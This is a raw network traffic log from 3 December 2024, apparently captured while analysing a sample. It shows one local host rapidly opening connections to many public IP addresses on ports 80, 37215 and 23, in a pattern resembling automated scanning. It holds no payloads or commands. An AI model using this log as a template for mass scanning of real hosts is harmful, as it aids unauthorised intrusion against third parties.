Dec 3, 2024 21:30:50.326527119 CET	33604	80	192.168.2.23	40.18.80.153
Dec 3, 2024 21:30:50.326782942 CET	34220	80	192.168.2.23	40.18.80.153
Dec 3, 2024 21:30:50.327130079 CET	32938	80	192.168.2.23	183.134.212.93
Dec 3, 2024 21:30:50.327130079 CET	32938	80	192.168.2.23	183.134.212.93
Dec 3, 2024 21:30:50.327390909 CET	33554	80	192.168.2.23	183.134.212.93
Dec 3, 2024 21:30:50.327721119 CET	37090	80	192.168.2.23	61.41.15.72
Dec 3, 2024 21:30:50.327721119 CET	37090	80	192.168.2.23	61.41.15.72
Dec 3, 2024 21:30:50.327954054 CET	37706	80	192.168.2.23	61.41.15.72
Dec 3, 2024 21:30:50.328279972 CET	50612	80	192.168.2.23	2.81.246.81
Dec 3, 2024 21:30:50.328279972 CET	50612	80	192.168.2.23	2.81.246.81
Dec 3, 2024 21:30:50.328531027 CET	51228	80	192.168.2.23	2.81.246.81
Dec 3, 2024 21:30:50.347686052 CET	80	58478	104.94.144.183	192.168.2.23
Dec 3, 2024 21:30:50.347749949 CET	58478	80	192.168.2.23	104.94.144.183
Dec 3, 2024 21:30:50.347783089 CET	58478	80	192.168.2.23	104.94.144.183
Dec 3, 2024 21:30:50.347783089 CET	58478	80	192.168.2.23	104.94.144.183
Dec 3, 2024 21:30:50.347812891 CET	80	57176	82.135.213.51	192.168.2.23
Dec 3, 2024 21:30:50.347852945 CET	57176	80	192.168.2.23	82.135.213.51
Dec 3, 2024 21:30:50.347996950 CET	80	58894	97.66.36.254	192.168.2.23
Dec 3, 2024 21:30:50.348036051 CET	58894	80	192.168.2.23	97.66.36.254
Dec 3, 2024 21:30:50.348110914 CET	59090	80	192.168.2.23	104.94.144.183
Dec 3, 2024 21:30:50.348500013 CET	57176	80	192.168.2.23	82.135.213.51
Dec 3, 2024 21:30:50.348500013 CET	57176	80	192.168.2.23	82.135.213.51
Dec 3, 2024 21:30:50.348754883 CET	57784	80	192.168.2.23	82.135.213.51
Dec 3, 2024 21:30:50.349065065 CET	58894	80	192.168.2.23	97.66.36.254
Dec 3, 2024 21:30:50.349065065 CET	58894	80	192.168.2.23	97.66.36.254
Dec 3, 2024 21:30:50.349312067 CET	59502	80	192.168.2.23	97.66.36.254
Dec 3, 2024 21:30:50.355484962 CET	49798	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:50.355484962 CET	40430	80	192.168.2.23	181.135.94.144
Dec 3, 2024 21:30:50.355484962 CET	35286	80	192.168.2.23	93.109.211.120
Dec 3, 2024 21:30:50.355484962 CET	55706	80	192.168.2.23	48.98.7.80
Dec 3, 2024 21:30:50.355489969 CET	38852	80	192.168.2.23	126.39.75.57
Dec 3, 2024 21:30:50.355489969 CET	33158	80	192.168.2.23	84.2.157.168
Dec 3, 2024 21:30:50.355492115 CET	55218	80	192.168.2.23	95.154.134.134
Dec 3, 2024 21:30:50.355500937 CET	46086	80	192.168.2.23	31.86.182.119
Dec 3, 2024 21:30:50.355500937 CET	45004	80	192.168.2.23	178.101.159.218
Dec 3, 2024 21:30:50.355500937 CET	35432	80	192.168.2.23	223.162.195.215
Dec 3, 2024 21:30:50.355501890 CET	34438	80	192.168.2.23	157.191.168.219
Dec 3, 2024 21:30:50.355501890 CET	43140	80	192.168.2.23	114.207.48.70
Dec 3, 2024 21:30:50.355501890 CET	47732	80	192.168.2.23	109.234.214.16
Dec 3, 2024 21:30:50.355515003 CET	35518	80	192.168.2.23	161.26.235.62
Dec 3, 2024 21:30:50.355515003 CET	58938	80	192.168.2.23	17.86.28.212
Dec 3, 2024 21:30:50.355516911 CET	41776	80	192.168.2.23	207.5.76.25
Dec 3, 2024 21:30:50.355515003 CET	37144	80	192.168.2.23	185.162.190.230
Dec 3, 2024 21:30:50.355515957 CET	53408	80	192.168.2.23	135.109.102.143
Dec 3, 2024 21:30:50.355519056 CET	56996	80	192.168.2.23	191.132.168.221
Dec 3, 2024 21:30:50.355530024 CET	60442	80	192.168.2.23	196.118.176.152
Dec 3, 2024 21:30:50.355537891 CET	39260	80	192.168.2.23	54.119.235.220
Dec 3, 2024 21:30:50.355537891 CET	55748	80	192.168.2.23	121.95.75.48
Dec 3, 2024 21:30:50.355540991 CET	50446	80	192.168.2.23	87.20.9.48
Dec 3, 2024 21:30:50.355540991 CET	52200	80	192.168.2.23	161.249.62.52
Dec 3, 2024 21:30:50.355547905 CET	51646	80	192.168.2.23	142.121.136.148
Dec 3, 2024 21:30:50.355549097 CET	39536	80	192.168.2.23	57.197.211.127
Dec 3, 2024 21:30:50.355559111 CET	41688	80	192.168.2.23	76.79.68.28
Dec 3, 2024 21:30:50.355561018 CET	52424	80	192.168.2.23	152.93.170.225
Dec 3, 2024 21:30:50.355566978 CET	45018	80	192.168.2.23	202.42.96.98
Dec 3, 2024 21:30:50.355567932 CET	38622	80	192.168.2.23	169.147.210.149
Dec 3, 2024 21:30:50.355567932 CET	54144	80	192.168.2.23	153.235.201.91
Dec 3, 2024 21:30:50.355567932 CET	37002	80	192.168.2.23	67.64.187.21
Dec 3, 2024 21:30:50.355575085 CET	45912	80	192.168.2.23	197.193.109.69
Dec 3, 2024 21:30:50.355576038 CET	59816	80	192.168.2.23	146.130.90.64
Dec 3, 2024 21:30:50.371911049 CET	37215	59009	41.139.105.65	192.168.2.23
Dec 3, 2024 21:30:50.371922016 CET	37215	59009	156.71.43.52	192.168.2.23
Dec 3, 2024 21:30:50.371931076 CET	37215	59009	41.14.221.80	192.168.2.23
Dec 3, 2024 21:30:50.371974945 CET	59009	37215	192.168.2.23	156.71.43.52
Dec 3, 2024 21:30:50.371975899 CET	59009	37215	192.168.2.23	41.139.105.65
Dec 3, 2024 21:30:50.372066021 CET	59009	37215	192.168.2.23	41.14.221.80
Dec 3, 2024 21:30:50.373398066 CET	37215	57396	197.215.104.102	192.168.2.23
Dec 3, 2024 21:30:50.374326944 CET	37215	50944	197.59.152.207	192.168.2.23
Dec 3, 2024 21:30:50.387496948 CET	43280	37215	192.168.2.23	197.158.250.72
Dec 3, 2024 21:30:50.387497902 CET	60140	37215	192.168.2.23	197.119.240.72
Dec 3, 2024 21:30:50.387496948 CET	36578	37215	192.168.2.23	156.188.250.125
Dec 3, 2024 21:30:50.387505054 CET	36170	37215	192.168.2.23	156.110.125.63
Dec 3, 2024 21:30:50.387509108 CET	33414	37215	192.168.2.23	197.166.189.254
Dec 3, 2024 21:30:50.387525082 CET	41416	37215	192.168.2.23	197.50.83.42
Dec 3, 2024 21:30:50.387525082 CET	40920	37215	192.168.2.23	156.70.75.133
Dec 3, 2024 21:30:50.405899048 CET	37215	48850	156.125.207.114	192.168.2.23
Dec 3, 2024 21:30:50.405930042 CET	80	59010	94.147.154.72	192.168.2.23
Dec 3, 2024 21:30:50.405957937 CET	80	59010	51.137.140.164	192.168.2.23
Dec 3, 2024 21:30:50.405968904 CET	80	59010	175.121.86.4	192.168.2.23
Dec 3, 2024 21:30:50.405981064 CET	59010	80	192.168.2.23	94.147.154.72
Dec 3, 2024 21:30:50.406004906 CET	59010	80	192.168.2.23	51.137.140.164
Dec 3, 2024 21:30:50.406004906 CET	59010	80	192.168.2.23	175.121.86.4
Dec 3, 2024 21:30:50.406851053 CET	37215	38022	156.223.49.69	192.168.2.23
Dec 3, 2024 21:30:50.406879902 CET	37215	45200	41.130.173.219	192.168.2.23
Dec 3, 2024 21:30:50.408093929 CET	37215	37778	197.244.48.70	192.168.2.23
Dec 3, 2024 21:30:50.408906937 CET	37215	56978	41.140.236.148	192.168.2.23
Dec 3, 2024 21:30:50.410598040 CET	37215	35892	197.116.233.17	192.168.2.23
Dec 3, 2024 21:30:50.411720037 CET	37215	52706	197.216.74.198	192.168.2.23
Dec 3, 2024 21:30:50.411799908 CET	80	41888	8.105.165.198	192.168.2.23
Dec 3, 2024 21:30:50.412470102 CET	37215	44212	156.219.74.61	192.168.2.23
Dec 3, 2024 21:30:50.412523985 CET	44212	37215	192.168.2.23	156.219.74.61
Dec 3, 2024 21:30:50.412693977 CET	44212	37215	192.168.2.23	156.219.74.61
Dec 3, 2024 21:30:50.412693977 CET	44212	37215	192.168.2.23	156.219.74.61
Dec 3, 2024 21:30:50.412776947 CET	37215	47658	156.128.47.189	192.168.2.23
Dec 3, 2024 21:30:50.413106918 CET	44440	37215	192.168.2.23	156.219.74.61
Dec 3, 2024 21:30:50.413506031 CET	80	44126	32.198.110.33	192.168.2.23
Dec 3, 2024 21:30:50.414621115 CET	37215	43842	41.0.186.183	192.168.2.23
Dec 3, 2024 21:30:50.414918900 CET	80	54002	93.194.223.82	192.168.2.23
Dec 3, 2024 21:30:50.415608883 CET	37215	60294	156.221.107.169	192.168.2.23
Dec 3, 2024 21:30:50.415893078 CET	37215	50944	197.59.152.207	192.168.2.23
Dec 3, 2024 21:30:50.415945053 CET	37215	57396	197.215.104.102	192.168.2.23
Dec 3, 2024 21:30:50.416156054 CET	80	50180	208.246.133.237	192.168.2.23
Dec 3, 2024 21:30:50.416992903 CET	37215	48190	156.190.175.18	192.168.2.23
Dec 3, 2024 21:30:50.417454004 CET	80	59906	145.105.254.172	192.168.2.23
Dec 3, 2024 21:30:50.418207884 CET	37215	45868	156.79.21.228	192.168.2.23
Dec 3, 2024 21:30:50.418673038 CET	80	39532	5.104.106.96	192.168.2.23
Dec 3, 2024 21:30:50.419855118 CET	80	51182	46.19.30.11	192.168.2.23
Dec 3, 2024 21:30:50.420562983 CET	80	35140	167.75.81.162	192.168.2.23
Dec 3, 2024 21:30:50.420723915 CET	80	35776	167.75.81.162	192.168.2.23
Dec 3, 2024 21:30:50.420773983 CET	35776	80	192.168.2.23	167.75.81.162
Dec 3, 2024 21:30:50.420830965 CET	35776	80	192.168.2.23	167.75.81.162
Dec 3, 2024 21:30:50.421112061 CET	80	40592	141.173.180.9	192.168.2.23
Dec 3, 2024 21:30:50.421206951 CET	37672	80	192.168.2.23	94.147.154.72
Dec 3, 2024 21:30:50.421730042 CET	56822	80	192.168.2.23	51.137.140.164
Dec 3, 2024 21:30:50.421849966 CET	80	60028	104.234.241.23	192.168.2.23
Dec 3, 2024 21:30:50.422300100 CET	46770	80	192.168.2.23	175.121.86.4
Dec 3, 2024 21:30:50.422368050 CET	80	39888	96.227.56.195	192.168.2.23
Dec 3, 2024 21:30:50.423065901 CET	80	57976	199.155.1.164	192.168.2.23
Dec 3, 2024 21:30:50.423532009 CET	80	59458	81.168.40.42	192.168.2.23
Dec 3, 2024 21:30:50.424309969 CET	80	39598	62.96.206.43	192.168.2.23
Dec 3, 2024 21:30:50.424822092 CET	80	47072	136.13.75.65	192.168.2.23
Dec 3, 2024 21:30:50.425291061 CET	80	37822	25.253.247.243	192.168.2.23
Dec 3, 2024 21:30:50.425951004 CET	80	33458	92.42.91.229	192.168.2.23
Dec 3, 2024 21:30:50.426471949 CET	80	56784	23.46.95.33	192.168.2.23
Dec 3, 2024 21:30:50.427222013 CET	80	45934	139.246.200.67	192.168.2.23
Dec 3, 2024 21:30:50.427783966 CET	80	34690	142.202.33.132	192.168.2.23
Dec 3, 2024 21:30:50.428261042 CET	80	38100	42.199.59.6	192.168.2.23
Dec 3, 2024 21:30:50.428797960 CET	80	34436	24.149.246.129	192.168.2.23
Dec 3, 2024 21:30:50.429406881 CET	80	47556	216.131.217.108	192.168.2.23
Dec 3, 2024 21:30:50.429904938 CET	80	44170	148.66.215.250	192.168.2.23
Dec 3, 2024 21:30:50.430502892 CET	80	45350	171.48.150.224	192.168.2.23
Dec 3, 2024 21:30:50.430969000 CET	80	58476	217.117.141.188	192.168.2.23
Dec 3, 2024 21:30:50.431364059 CET	80	41664	24.242.230.192	192.168.2.23
Dec 3, 2024 21:30:50.431915998 CET	80	39552	32.227.59.119	192.168.2.23
Dec 3, 2024 21:30:50.431931973 CET	80	40178	32.227.59.119	192.168.2.23
Dec 3, 2024 21:30:50.431976080 CET	40178	80	192.168.2.23	32.227.59.119
Dec 3, 2024 21:30:50.432008982 CET	40178	80	192.168.2.23	32.227.59.119
Dec 3, 2024 21:30:50.432089090 CET	80	44024	185.221.32.180	192.168.2.23
Dec 3, 2024 21:30:50.432735920 CET	80	43128	4.17.178.247	192.168.2.23
Dec 3, 2024 21:30:50.433095932 CET	80	54830	120.196.61.187	192.168.2.23
Dec 3, 2024 21:30:50.433633089 CET	80	60286	138.250.81.210	192.168.2.23
Dec 3, 2024 21:30:50.436762094 CET	80	48818	172.153.131.92	192.168.2.23
Dec 3, 2024 21:30:50.437211990 CET	80	55744	119.211.146.165	192.168.2.23
Dec 3, 2024 21:30:50.437711000 CET	80	43838	207.88.49.48	192.168.2.23
Dec 3, 2024 21:30:50.438406944 CET	80	48860	168.79.240.244	192.168.2.23
Dec 3, 2024 21:30:50.439065933 CET	80	39454	150.63.45.186	192.168.2.23
Dec 3, 2024 21:30:50.439606905 CET	80	48276	149.30.241.216	192.168.2.23
Dec 3, 2024 21:30:50.440030098 CET	80	48900	149.30.241.216	192.168.2.23
Dec 3, 2024 21:30:50.440074921 CET	48900	80	192.168.2.23	149.30.241.216
Dec 3, 2024 21:30:50.440089941 CET	48900	80	192.168.2.23	149.30.241.216
Dec 3, 2024 21:30:50.440326929 CET	80	60512	143.141.87.96	192.168.2.23
Dec 3, 2024 21:30:50.440936089 CET	80	58148	71.187.196.149	192.168.2.23
Dec 3, 2024 21:30:50.441533089 CET	80	36052	185.96.7.190	192.168.2.23
Dec 3, 2024 21:30:50.442032099 CET	80	60610	223.111.24.66	192.168.2.23
Dec 3, 2024 21:30:50.442522049 CET	80	55766	116.150.62.104	192.168.2.23
Dec 3, 2024 21:30:50.443229914 CET	80	34222	147.179.254.202	192.168.2.23
Dec 3, 2024 21:30:50.443922997 CET	80	44394	52.117.45.194	192.168.2.23
Dec 3, 2024 21:30:50.444271088 CET	80	41300	69.255.176.9	192.168.2.23
Dec 3, 2024 21:30:50.444657087 CET	80	43802	79.74.148.82	192.168.2.23
Dec 3, 2024 21:30:50.445211887 CET	80	41738	201.148.44.14	192.168.2.23
Dec 3, 2024 21:30:50.445787907 CET	80	34066	68.81.161.145	192.168.2.23
Dec 3, 2024 21:30:50.446644068 CET	80	33604	40.18.80.153	192.168.2.23
Dec 3, 2024 21:30:50.447072029 CET	80	32938	183.134.212.93	192.168.2.23
Dec 3, 2024 21:30:50.447602987 CET	80	37090	61.41.15.72	192.168.2.23
Dec 3, 2024 21:30:50.447910070 CET	37215	45200	41.130.173.219	192.168.2.23
Dec 3, 2024 21:30:50.447993040 CET	37215	38022	156.223.49.69	192.168.2.23
Dec 3, 2024 21:30:50.448003054 CET	37215	48850	156.125.207.114	192.168.2.23
Dec 3, 2024 21:30:50.448259115 CET	80	50612	2.81.246.81	192.168.2.23
Dec 3, 2024 21:30:50.455948114 CET	80	41888	8.105.165.198	192.168.2.23
Dec 3, 2024 21:30:50.456001997 CET	37215	52706	197.216.74.198	192.168.2.23
Dec 3, 2024 21:30:50.456012011 CET	37215	35892	197.116.233.17	192.168.2.23
Dec 3, 2024 21:30:50.456044912 CET	37215	56978	41.140.236.148	192.168.2.23
Dec 3, 2024 21:30:50.456054926 CET	37215	37778	197.244.48.70	192.168.2.23
Dec 3, 2024 21:30:50.456088066 CET	37215	60294	156.221.107.169	192.168.2.23
Dec 3, 2024 21:30:50.456104994 CET	80	54002	93.194.223.82	192.168.2.23
Dec 3, 2024 21:30:50.456114054 CET	37215	43842	41.0.186.183	192.168.2.23
Dec 3, 2024 21:30:50.456129074 CET	80	44126	32.198.110.33	192.168.2.23
Dec 3, 2024 21:30:50.456139088 CET	37215	47658	156.128.47.189	192.168.2.23
Dec 3, 2024 21:30:50.459970951 CET	80	39532	5.104.106.96	192.168.2.23
Dec 3, 2024 21:30:50.460011959 CET	37215	45868	156.79.21.228	192.168.2.23
Dec 3, 2024 21:30:50.460020065 CET	80	59906	145.105.254.172	192.168.2.23
Dec 3, 2024 21:30:50.460032940 CET	37215	48190	156.190.175.18	192.168.2.23
Dec 3, 2024 21:30:50.460056067 CET	80	50180	208.246.133.237	192.168.2.23
Dec 3, 2024 21:30:50.463957071 CET	80	59458	81.168.40.42	192.168.2.23
Dec 3, 2024 21:30:50.463984013 CET	80	57976	199.155.1.164	192.168.2.23
Dec 3, 2024 21:30:50.463993073 CET	80	39888	96.227.56.195	192.168.2.23
Dec 3, 2024 21:30:50.464000940 CET	80	60028	104.234.241.23	192.168.2.23
Dec 3, 2024 21:30:50.464056015 CET	80	40592	141.173.180.9	192.168.2.23
Dec 3, 2024 21:30:50.464066029 CET	80	35140	167.75.81.162	192.168.2.23
Dec 3, 2024 21:30:50.464073896 CET	80	51182	46.19.30.11	192.168.2.23
Dec 3, 2024 21:30:50.468147993 CET	80	58478	104.94.144.183	192.168.2.23
Dec 3, 2024 21:30:50.468158007 CET	80	45934	139.246.200.67	192.168.2.23
Dec 3, 2024 21:30:50.468180895 CET	80	56784	23.46.95.33	192.168.2.23
Dec 3, 2024 21:30:50.468192101 CET	80	33458	92.42.91.229	192.168.2.23
Dec 3, 2024 21:30:50.468242884 CET	80	37822	25.253.247.243	192.168.2.23
Dec 3, 2024 21:30:50.468251944 CET	80	47072	136.13.75.65	192.168.2.23
Dec 3, 2024 21:30:50.468261003 CET	80	39598	62.96.206.43	192.168.2.23
Dec 3, 2024 21:30:50.468286991 CET	80	59090	104.94.144.183	192.168.2.23
Dec 3, 2024 21:30:50.468357086 CET	59090	80	192.168.2.23	104.94.144.183
Dec 3, 2024 21:30:50.468357086 CET	59090	80	192.168.2.23	104.94.144.183
Dec 3, 2024 21:30:50.468374014 CET	80	57176	82.135.213.51	192.168.2.23
Dec 3, 2024 21:30:50.468574047 CET	80	57784	82.135.213.51	192.168.2.23
Dec 3, 2024 21:30:50.468626022 CET	57784	80	192.168.2.23	82.135.213.51
Dec 3, 2024 21:30:50.468653917 CET	57784	80	192.168.2.23	82.135.213.51
Dec 3, 2024 21:30:50.468955994 CET	80	58894	97.66.36.254	192.168.2.23
Dec 3, 2024 21:30:50.475466013 CET	80	49798	18.145.102.122	192.168.2.23
Dec 3, 2024 21:30:50.475513935 CET	49798	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:50.475564957 CET	49798	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:50.475564957 CET	49798	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:50.475894928 CET	50288	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:50.476064920 CET	80	44024	185.221.32.180	192.168.2.23
Dec 3, 2024 21:30:50.476114035 CET	80	39552	32.227.59.119	192.168.2.23
Dec 3, 2024 21:30:50.476125002 CET	80	43128	4.17.178.247	192.168.2.23
Dec 3, 2024 21:30:50.476279020 CET	80	54830	120.196.61.187	192.168.2.23
Dec 3, 2024 21:30:50.476288080 CET	80	41664	24.242.230.192	192.168.2.23
Dec 3, 2024 21:30:50.476295948 CET	80	60286	138.250.81.210	192.168.2.23
Dec 3, 2024 21:30:50.476306915 CET	80	58476	217.117.141.188	192.168.2.23
Dec 3, 2024 21:30:50.476316929 CET	80	45350	171.48.150.224	192.168.2.23
Dec 3, 2024 21:30:50.476325035 CET	80	44170	148.66.215.250	192.168.2.23
Dec 3, 2024 21:30:50.476336002 CET	80	47556	216.131.217.108	192.168.2.23
Dec 3, 2024 21:30:50.476345062 CET	80	34436	24.149.246.129	192.168.2.23
Dec 3, 2024 21:30:50.476352930 CET	80	38100	42.199.59.6	192.168.2.23
Dec 3, 2024 21:30:50.476361990 CET	80	34690	142.202.33.132	192.168.2.23
Dec 3, 2024 21:30:50.479912043 CET	80	39454	150.63.45.186	192.168.2.23
Dec 3, 2024 21:30:50.479937077 CET	80	48860	168.79.240.244	192.168.2.23
Dec 3, 2024 21:30:50.479963064 CET	80	43838	207.88.49.48	192.168.2.23
Dec 3, 2024 21:30:50.479998112 CET	80	55744	119.211.146.165	192.168.2.23
Dec 3, 2024 21:30:50.480017900 CET	80	48818	172.153.131.92	192.168.2.23
Dec 3, 2024 21:30:50.487992048 CET	80	37090	61.41.15.72	192.168.2.23
Dec 3, 2024 21:30:50.488017082 CET	80	34222	147.179.254.202	192.168.2.23
Dec 3, 2024 21:30:50.488025904 CET	80	55766	116.150.62.104	192.168.2.23
Dec 3, 2024 21:30:50.488034010 CET	80	60610	223.111.24.66	192.168.2.23
Dec 3, 2024 21:30:50.488043070 CET	80	36052	185.96.7.190	192.168.2.23
Dec 3, 2024 21:30:50.488050938 CET	80	58148	71.187.196.149	192.168.2.23
Dec 3, 2024 21:30:50.488090038 CET	80	60512	143.141.87.96	192.168.2.23
Dec 3, 2024 21:30:50.488099098 CET	80	48276	149.30.241.216	192.168.2.23
Dec 3, 2024 21:30:50.488106966 CET	80	32938	183.134.212.93	192.168.2.23
Dec 3, 2024 21:30:50.488116026 CET	80	33604	40.18.80.153	192.168.2.23
Dec 3, 2024 21:30:50.488120079 CET	80	34066	68.81.161.145	192.168.2.23
Dec 3, 2024 21:30:50.488122940 CET	80	41738	201.148.44.14	192.168.2.23
Dec 3, 2024 21:30:50.488200903 CET	80	43802	79.74.148.82	192.168.2.23
Dec 3, 2024 21:30:50.488210917 CET	80	41300	69.255.176.9	192.168.2.23
Dec 3, 2024 21:30:50.488219023 CET	80	44394	52.117.45.194	192.168.2.23
Dec 3, 2024 21:30:50.496011972 CET	80	50612	2.81.246.81	192.168.2.23
Dec 3, 2024 21:30:50.507530928 CET	37215	43280	197.158.250.72	192.168.2.23
Dec 3, 2024 21:30:50.507575035 CET	37215	36170	156.110.125.63	192.168.2.23
Dec 3, 2024 21:30:50.507586956 CET	37215	36578	156.188.250.125	192.168.2.23
Dec 3, 2024 21:30:50.507616997 CET	36170	37215	192.168.2.23	156.110.125.63
Dec 3, 2024 21:30:50.507616043 CET	43280	37215	192.168.2.23	197.158.250.72
Dec 3, 2024 21:30:50.507638931 CET	36578	37215	192.168.2.23	156.188.250.125
Dec 3, 2024 21:30:50.507657051 CET	36170	37215	192.168.2.23	156.110.125.63
Dec 3, 2024 21:30:50.507668018 CET	43280	37215	192.168.2.23	197.158.250.72
Dec 3, 2024 21:30:50.507678986 CET	36578	37215	192.168.2.23	156.188.250.125
Dec 3, 2024 21:30:50.511970997 CET	80	58894	97.66.36.254	192.168.2.23
Dec 3, 2024 21:30:50.511993885 CET	80	57176	82.135.213.51	192.168.2.23
Dec 3, 2024 21:30:50.512006044 CET	80	58478	104.94.144.183	192.168.2.23
Dec 3, 2024 21:30:50.527081013 CET	59020	23	192.168.2.23	65.192.146.203
Dec 3, 2024 21:30:50.527085066 CET	59020	23	192.168.2.23	184.4.85.217
Dec 3, 2024 21:30:50.527100086 CET	59020	23	192.168.2.23	177.62.225.62
Dec 3, 2024 21:30:50.527103901 CET	59020	23	192.168.2.23	82.77.172.52
Dec 3, 2024 21:30:50.527101994 CET	59020	23	192.168.2.23	119.54.54.66
Dec 3, 2024 21:30:50.527102947 CET	59020	23	192.168.2.23	70.205.45.248
Dec 3, 2024 21:30:50.527102947 CET	59020	23	192.168.2.23	134.241.59.71
Dec 3, 2024 21:30:50.527107954 CET	59020	23	192.168.2.23	191.125.39.122
Dec 3, 2024 21:30:50.527107954 CET	59020	23	192.168.2.23	37.118.152.2
Dec 3, 2024 21:30:50.527107954 CET	59020	23	192.168.2.23	88.163.245.17
Dec 3, 2024 21:30:50.527107954 CET	59020	23	192.168.2.23	65.45.207.126
Dec 3, 2024 21:30:50.527110100 CET	59020	23	192.168.2.23	111.171.78.128
Dec 3, 2024 21:30:50.527107954 CET	59020	23	192.168.2.23	189.231.202.33
Dec 3, 2024 21:30:50.527110100 CET	59020	23	192.168.2.23	152.13.149.145
Dec 3, 2024 21:30:50.527121067 CET	59020	23	192.168.2.23	165.180.186.80
Dec 3, 2024 21:30:50.527121067 CET	59020	23	192.168.2.23	188.255.160.242
Dec 3, 2024 21:30:50.527118921 CET	59020	23	192.168.2.23	27.8.103.98
Dec 3, 2024 21:30:50.527118921 CET	59020	23	192.168.2.23	210.159.178.206
Dec 3, 2024 21:30:50.527118921 CET	59020	23	192.168.2.23	47.185.201.132
Dec 3, 2024 21:30:50.527126074 CET	59020	23	192.168.2.23	106.122.175.159
Dec 3, 2024 21:30:50.527126074 CET	59020	23	192.168.2.23	216.43.94.11
Dec 3, 2024 21:30:50.527127981 CET	59020	23	192.168.2.23	150.9.138.139
Dec 3, 2024 21:30:50.527128935 CET	59020	23	192.168.2.23	38.66.100.112
Dec 3, 2024 21:30:50.527137041 CET	59020	23	192.168.2.23	65.116.48.234
Dec 3, 2024 21:30:50.527137041 CET	59020	23	192.168.2.23	115.160.6.182
Dec 3, 2024 21:30:50.527137995 CET	59020	23	192.168.2.23	136.145.96.227
Dec 3, 2024 21:30:50.527138948 CET	59020	23	192.168.2.23	116.209.215.179
Dec 3, 2024 21:30:50.527138948 CET	59020	23	192.168.2.23	34.6.32.180
Dec 3, 2024 21:30:50.527138948 CET	59020	23	192.168.2.23	166.114.140.210
Dec 3, 2024 21:30:50.527138948 CET	59020	23	192.168.2.23	118.17.227.165
Dec 3, 2024 21:30:50.527138948 CET	59020	23	192.168.2.23	149.61.225.118
Dec 3, 2024 21:30:50.527138948 CET	59020	23	192.168.2.23	196.249.6.101
Dec 3, 2024 21:30:50.527159929 CET	59020	23	192.168.2.23	174.161.8.148
Dec 3, 2024 21:30:50.527159929 CET	59020	23	192.168.2.23	170.253.93.224
Dec 3, 2024 21:30:50.527160883 CET	59020	23	192.168.2.23	121.164.222.199
Dec 3, 2024 21:30:50.527160883 CET	59020	23	192.168.2.23	39.153.44.205
Dec 3, 2024 21:30:50.527162075 CET	59020	23	192.168.2.23	177.239.37.235
Dec 3, 2024 21:30:50.527162075 CET	59020	23	192.168.2.23	198.138.100.8
Dec 3, 2024 21:30:50.527157068 CET	59020	23	192.168.2.23	66.156.170.198
Dec 3, 2024 21:30:50.527160883 CET	59020	23	192.168.2.23	5.32.251.138
Dec 3, 2024 21:30:50.527160883 CET	59020	23	192.168.2.23	167.140.140.45
Dec 3, 2024 21:30:50.527160883 CET	59020	23	192.168.2.23	132.66.148.156
Dec 3, 2024 21:30:50.527167082 CET	59020	23	192.168.2.23	36.197.107.56
Dec 3, 2024 21:30:50.527167082 CET	59020	23	192.168.2.23	216.240.248.196
Dec 3, 2024 21:30:50.527167082 CET	59020	23	192.168.2.23	107.227.131.96
Dec 3, 2024 21:30:50.527169943 CET	59020	23	192.168.2.23	152.233.102.24
Dec 3, 2024 21:30:50.527170897 CET	59020	23	192.168.2.23	19.252.254.79
Dec 3, 2024 21:30:50.527170897 CET	59020	23	192.168.2.23	202.86.208.107
Dec 3, 2024 21:30:50.527179956 CET	59020	23	192.168.2.23	188.192.23.193
Dec 3, 2024 21:30:50.527183056 CET	59020	23	192.168.2.23	101.75.237.83
Dec 3, 2024 21:30:50.527183056 CET	59020	23	192.168.2.23	103.142.185.117
Dec 3, 2024 21:30:50.527184010 CET	59020	23	192.168.2.23	123.92.107.150
Dec 3, 2024 21:30:50.527184010 CET	59020	23	192.168.2.23	48.59.250.153
Dec 3, 2024 21:30:50.527184963 CET	59020	23	192.168.2.23	163.64.156.192
Dec 3, 2024 21:30:50.527184963 CET	59020	23	192.168.2.23	95.100.144.106
Dec 3, 2024 21:30:50.527188063 CET	59020	23	192.168.2.23	57.15.20.214
Dec 3, 2024 21:30:50.527188063 CET	59020	23	192.168.2.23	113.242.151.193
Dec 3, 2024 21:30:50.527194023 CET	59020	23	192.168.2.23	87.113.149.97
Dec 3, 2024 21:30:50.527195930 CET	59020	23	192.168.2.23	92.87.137.69
Dec 3, 2024 21:30:50.527195930 CET	59020	23	192.168.2.23	74.246.108.223
Dec 3, 2024 21:30:50.527195930 CET	59020	23	192.168.2.23	89.239.19.105
Dec 3, 2024 21:30:50.527199030 CET	59020	23	192.168.2.23	83.55.141.145
Dec 3, 2024 21:30:50.527199984 CET	59020	23	192.168.2.23	107.78.75.169
Dec 3, 2024 21:30:50.527213097 CET	59020	23	192.168.2.23	129.44.145.25
Dec 3, 2024 21:30:50.527214050 CET	59020	23	192.168.2.23	149.191.239.4
Dec 3, 2024 21:30:50.527214050 CET	59020	23	192.168.2.23	162.121.96.41
Dec 3, 2024 21:30:50.527215004 CET	59020	23	192.168.2.23	118.149.243.16
Dec 3, 2024 21:30:50.527219057 CET	59020	23	192.168.2.23	31.230.248.71
Dec 3, 2024 21:30:50.527219057 CET	59020	23	192.168.2.23	138.48.11.184
Dec 3, 2024 21:30:50.527219057 CET	59020	23	192.168.2.23	88.75.84.183
Dec 3, 2024 21:30:50.527219057 CET	59020	23	192.168.2.23	197.168.226.5
Dec 3, 2024 21:30:50.527219057 CET	59020	23	192.168.2.23	132.250.224.155
Dec 3, 2024 21:30:50.527219057 CET	59020	23	192.168.2.23	79.185.123.9
Dec 3, 2024 21:30:50.527228117 CET	59020	23	192.168.2.23	2.114.192.152
Dec 3, 2024 21:30:50.527229071 CET	59020	23	192.168.2.23	190.230.187.9
Dec 3, 2024 21:30:50.527229071 CET	59020	23	192.168.2.23	76.162.159.99
Dec 3, 2024 21:30:50.527230978 CET	59020	23	192.168.2.23	49.255.153.165
Dec 3, 2024 21:30:50.527230978 CET	59020	23	192.168.2.23	153.75.48.90
Dec 3, 2024 21:30:50.527230978 CET	59020	23	192.168.2.23	189.241.92.200
Dec 3, 2024 21:30:50.527231932 CET	59020	23	192.168.2.23	51.70.243.204
Dec 3, 2024 21:30:50.527231932 CET	59020	23	192.168.2.23	161.34.211.141
Dec 3, 2024 21:30:50.527246952 CET	59020	23	192.168.2.23	217.157.220.33
Dec 3, 2024 21:30:50.527249098 CET	59020	23	192.168.2.23	42.249.24.229
